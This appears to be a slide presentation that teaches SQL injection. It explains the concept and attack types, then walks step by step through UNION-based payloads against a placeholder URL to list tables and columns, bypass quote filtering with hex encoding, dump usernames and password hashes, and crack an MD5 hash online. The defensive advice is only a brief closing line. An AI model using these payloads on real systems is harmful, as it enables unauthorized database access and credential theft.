SQLi
SQLi
What is SQL?
• Structured Query Language (SQL) is basically a
textual language that enables interaction with a
database server.
• SQL commands such as SELECT,INSERT,
RETRIEVE, UPDATE, ALTER, DELETE, DROP
are used to perform operations on the database.
• Programmers use these commands to
manipulate data in the database server.
What is SQL Injection?
• SQL Injection is most common vulnerability on
the Internet.
• It is a flaw in Web Applications and not a
Database or Web server issue.
• Most programmers are still not aware of this
threat.
• SQL Injection is a basic attack used to either
gain unauthorized access to a database or to
retrieve information directly from the database.
What is SQL Injection?
• SQL Injection is defined as a technique that
takes advantage of non-validated input
vulnerabilities and injects SQL commands.
• Programmers use sequential SQL commands
with client supplied parameters making it easier
for attackers to inject commands.
• Attackers can easily execute random SQL
queries on the database server through a web
application.
How Web Application works?
SQL Injection Attacks
• Based on the application and how it processes
user-supplied data, SQL Injection can be used
to perform the following types of attacks.
• Authentication Bypass
• Information Disclosure
• Compromised Data Integrity
• Compromised Availability of Data
• Remote Code Execution
• Authentication Bypass:
Using this attack, an attacker logs on to an
application without providing valid username and
password and gains administrative privileges.
• Information Disclosure:
Using this attack, an attacker obtains
sensitive information that is sorted in the
database.
• Compromised Data Integrity:
An attacker uses this attack to deface a web
page, insert malicious content into web pages, or
alter the contents of a database.
• Compromised Availability of Data:
Attackers use this attack to delete the
database information, delete log, or audit
information that is contained in a database.
• Remote Code Execution:
It allows an attacker to compromise the host
operating system.
Server Side Technologies
• Powerful server-side technologies like ASP.NET
and database servers allow developers to
create dynamic, data-driven Websites with
incredible ease.
• The power of ASP.NET and SQL can easily be
exploited by hackers using SQL Injection
attacks.
• All relational databases SQL Server, Oracle,
IBM DB2, and MYSQL are susceptible to SQL
Injection attacks.
SQL Database Tables
• A relational database contains one or more
tables identified each by a name.
• Tables contain records (rows) with data.
• For example, the following table is called "users"
and contains data distributed in rows and
columns.:
• Information_schema.columns:
• The INFORMATION_SCHEMA.COLUMNS view
allows you to get information about all columns for
all tables and views within a database.
• By default it will show you this information for
every single table and view that is in the database.
What is group_concat() ?
• GROUP_CONCAT() function is used to
concatenate all the values into a single string.
• Concatenate or concat() is linking all the group
values into a single string
• Group_concat() : This function returns a string
result with the concatenated non-NULL values
from a group.
Finding Table names:
• www.site.com/index.php?id=1234 union select
1,2,group_concat(table_name),4,5,6 from
information_schema.tables where
table_schema=database()—
• It returns all the table names present in the
database.
• As you can see some interesting table names
like
• Admin
• Users
• Members
Finding Column names:
• The next step will be viewing the columns that
reside in the table we choose.
• In this case I will choose ‘USERS’ but you could
choose any table you want.
• The command used to view columns inside the
tables is usually
• www.site.com/index.php?id=1234 union select
1,2,group_concat(column_name),4,5,6 from
information_schema.columns where
table_name=‘users’--
• If there is an error it means single quotes must be
bypassed.
• So we should encode the string table name
users into hex format.
• you can use this website to convert string into
hexadecimal
http://www.string-functions.com/string-hex.aspx
• In programming languages, a hexadecimal
number is usually prefixed with '0x' to make
the compiler aware that you are using
hexadecimal.
• www.site.com/index.php?id=1234 union select
1,2,group_concat(column_name),4,5,6 from
information_schema.columns where table_name
=0x7573657273--
• ‘Users’ hex code is 7573657273
Finding Username and Password:
• Previous Query returns all the column names
present in the table ‘USERS’.
• Now all we have left to do is to view the data
inside of the columns in this case, Select some
interesting column names like username and
password.
• www.site.com/index.php?id=1234 union select
1,2,group_concat(username,0x3a,password),4,5
,6 from users—
• 0x3a is nothing but space between username
and password.
• That’s it you have the list of usernames and
passwords.
Password Decryption:
Usually when you retrieve the passwords from an
SQL database they will be encrypted usually in MD5
SHA1 or MYSQL encryption.
Here are a few passwords that have been taken from
a table called users from columns email and
password.
steve@abc:10f91c20b4c3585667c1259a4356bf26
elliott@xyz:a54499cd4a6b5735339a491f394da8a1:
MD5 hash bit is
10f91c20b4c3585667c1259a4356bf26
The password has been decrypted by using this
website http://md5decrypter.co.uk/
And the password is inondation
Conclusion
• SQL Injection is a fascinating and dangerous
vulnerability.
• All programming languages and all SQL
databases are potentially vulnerable.
• Protecting against it requires
– strong design.
– correct input validation.
7#4/\/|< y0U